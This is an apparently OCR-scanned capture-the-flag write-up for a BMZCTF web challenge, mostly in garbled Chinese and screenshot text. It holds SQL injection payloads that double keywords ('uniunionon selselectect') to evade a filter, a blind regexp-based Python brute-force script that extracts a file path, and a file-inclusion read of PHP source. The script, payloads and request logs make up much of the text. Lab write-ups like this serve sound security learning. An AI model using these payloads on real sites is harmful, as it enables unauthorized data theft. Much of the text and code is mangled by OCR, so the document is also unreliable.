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7 <link rel="stylesheet” href=",/csz/form cszs” =tvL
3 4div 1d="login">

1 <hlxLogin</hl>

{1—— index.php?file=regizter.php ——>

<form method="post” action="index.php?file=1lo:
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1965 compress._zlibo// fregister 200 ] [] 948
2530 [register 200 O] [ o48
1 compress_bzip2/M VU 200 Ol [] &66
2 compress_zlib/A \register._. 200 Ol [] &66
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Raw | Params | Headers | Hex Raw | Headers | Hex
POST /downfile. php HTTP/1.1 A HTTP/1.1 200 OK
r 2 Server: nginx/1.10.3 (Ubuntu)
Da Sun, 18 Jul 2021 10:18:27 GMT
Conte : applicationfoctet-stream
Con 5
File Transfer
S Content-Transfer-Encoding: binary
v +/ Swww, bmzclub, en: 22284 9 Expires: 0
ion: close 10 Cache—Control: must-revalidate, post-check=0, pre-check=0
Referer: http://www. bmzclub. cn: 22284/ index. php?file=download Il Pragma: public
2 Cookie: Hm lvt d be86b11339abhd=1625 14, 162 12 Accept-Ranges: bytes
aau23k i session=816d6034-1111-49¢f-851d-961ft % Content-Disposition: attachment; filename="image. php"
Hm_lpvt_d 2676afbe86h11339abd=1626595608 !
3 Upgrade-Ins re-Requests: 1 15 <?php
| 16 define ("DIR_PERMITION", time ());
o |image=-1 uniunicnon selselectect DxGQGEGiGBTSZcTOGETGI’u‘mugc download=%HEE%94%B6KERRITHEF 17 include("config. php"),
18 §_POST ddsla. § POST),
19 §_GET = d_addsl GET);
P
23 <html>
24 | <head>
title> A X TR titled
i {meta http-equiv="Content-Type" content="text/html; charset=UTF-8"%
?php
L 34 §file = isset(3_GET['file']})?$_GET['file']: "home";
v /7 echo §file:

B X A 7 AR MBI LA SRR R, BEATARBSE T, BT 2R S 2B BRSO A 75 getshell, BT AR BER
T B 42 sqlffipayload N: 2 anord location regeregexpxp ‘$’ Bt FIH IEN BT EE, 22BN AR XHID, E
WSRRNFHEBLRRM 4, BEPSUE, PrUlal ONEERTE EH K.

A% R HBENLE A B, K46, ARG AT DUANE S8 FE h R IG5, BT L@ I BT T M sqRE N T DU VE B AR SUIF I B S
#Az, FRELBRENSEIHTEIE, EENPSRRITELERE, FTLAR LR FHregexp iR B 54 A ILAClocationf¥) 45 52 :

2 anord location regeregexpxp 0x{}24 /& J50x24 &S +7S ik, HAbF B R 7R B A+ 7S 3 BE 24 i TH BP AT

IXFERIE H KB A8 where id=2 and location regexp ‘xx$’ ; BLATAMNEERIEET »
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re
requests

VERCER
def fun(value,id):
for i in range(46):
n=0
for ¢ in code:
n+=1
cc=r'%s%s' % (c, value)
cc=cc.strip()
# print(n,cc)
burp®_url = "http://www.bmzclub.cn:22284/downfile.php"
burp@ cookies = {"Hm_lvt d7a3b863d5a302676afbe86b11339abd": "1625975334,1626595426", "PHPSESSID": "a
Qu23k045sgkugljvkm@oo8jk5", "session": "816d6034-1111-49cf-851d-961fb5dd850e", "Hm_lpvt_d7a3b863d5a302676afbe86b
11339abd": "1626595608"}
burp@_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Fi
refox/89.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Lan
guage": "zh-CN,zh;gq=0.8,zh-TW;g=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Cont
ent-Type": "application/x-www-form-urlencoded", "Origin": "http://www.bmzclub.cn:22284", "Connection": "close",
"Referer": "http://www.bmzclub.cn:22284/index.php?file=download", "Upgrade-Insecure-Requests": "1"}

burp@_data = {"image": "{@} anord location regeregexpxp 0x{1}24".format(id,cc.encode('utf-8"').hex())
, "image_download": "\xe6\x94\xb6\xe8\x97\x8f"}
response=requests.post(burp@_url, headers=burp® headers, cookies=burp@_cookies, data=burp@_data)

# print(response.text)

if not re.search(r'picture can',response.text):
value = r'%s%s' % (c, value)
value=value.strip()
print(value)
fun(value,id)
break

__main__':
#IX R EAERME i, EMERE—ERiIdR2
fun('',id)




Run: test

> pBns2mwcsgynbvrm?imlujwgdbf45.png
4pdns2mwcsqynbyrm7imlujwgdbf45. png
b4p8ns2mwcsgynbverm? imlujwgdbf45.png

= sh4p8ns2mwesqynbyrm7imlujwgdbfas. png

» = /sb4p8ns2mwcsqynbvrm?imlujwgdbf4s. png
s 5/sbdp@ns2mwcsqynbvrm7imlujwgdbf45. png
= ds/sb4p8ns2mwcsqynbvrm?imlujwgdbf45. png

ads/sb4p8ns2mwesqynbyrm7imlujwgdbfas. png
Bads/sbapBns2mwcsqynbvrm?imlujwgdbf45. png
1@ads/sb4pdns2mwcsqynbyrm7imlujwgdbfa5. png
pleads/shap8ns2mwcsqynbvrm?imlujwgdbf45. png
upleads/sb4p8ns2mwcsqynbvrm7imlujwgdbfa5. png
fupl@ads/shap8ns2mwcsqynbvrm?imlujwgdbf45. png
fupl@ads/sbapans2mwcsqynbyrm?imlujwgdbf4s. png
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BR W o

_LW_I Params I Headers T Hex } _Lm Headers I Hex ]

| POST /downfile. php HTTP/1. 1 LY | HTTP/1.1 200 OK
2 Host: www, bmzclub. cn: 22284 - 2 Server: nginx/1. 10,3 (Ubuntu)
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) 3 Date: Mon, 19 Jul 2021 02:32:33 GMT
Geelo,/ 20100101 Firefox/89.0 | Content-Type: application/octet—stream
1 1 Accept: 5 Content-Length: 41
text/html, application/xhtml+xml, application/xml;q=0. 9, image/webp, */#, q=0 f Connection: close
] 7 Content-Description: File Transfer
5 Accept-Language: S Content-Transfer-Encoding: binary
eh—CN, zh;q=0. 8, zh-TW; q=0. 7, eh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2 9 Expires: 0
f Accept-Encoding: gzip, deflate |0 Cache—Control: must-revalidate, post-check=0, pr
7 Content-Type: application/x—www—form-urlencoded |l Pragma: public
4 Content-Length: 79 |2 Accept—Ranges: bytes
9 Origin: http://www. bmzelub. cn: 22284 |4 Content-Disposition: attachment; filename="image
10 Connection: close !
Il Referer: http://www. bmzclub. cn:22284/index. php?file=download |5 BMZCTF {faa94854102843ccabd0fdladhldel8d}
12 Cookie: Hm_lvt d7ad3b863d5a302676afbe86b11339abd=1625975334, 1626595426, LG

PHPSESSID=cnhOv05vamnght421o98cogdub
3 Upgrade—Insecure-Requests: 1

5 image=-1 uniunionon selselectect
0x2f6660616Thimage download=%E6%94%BE%EENITHEF
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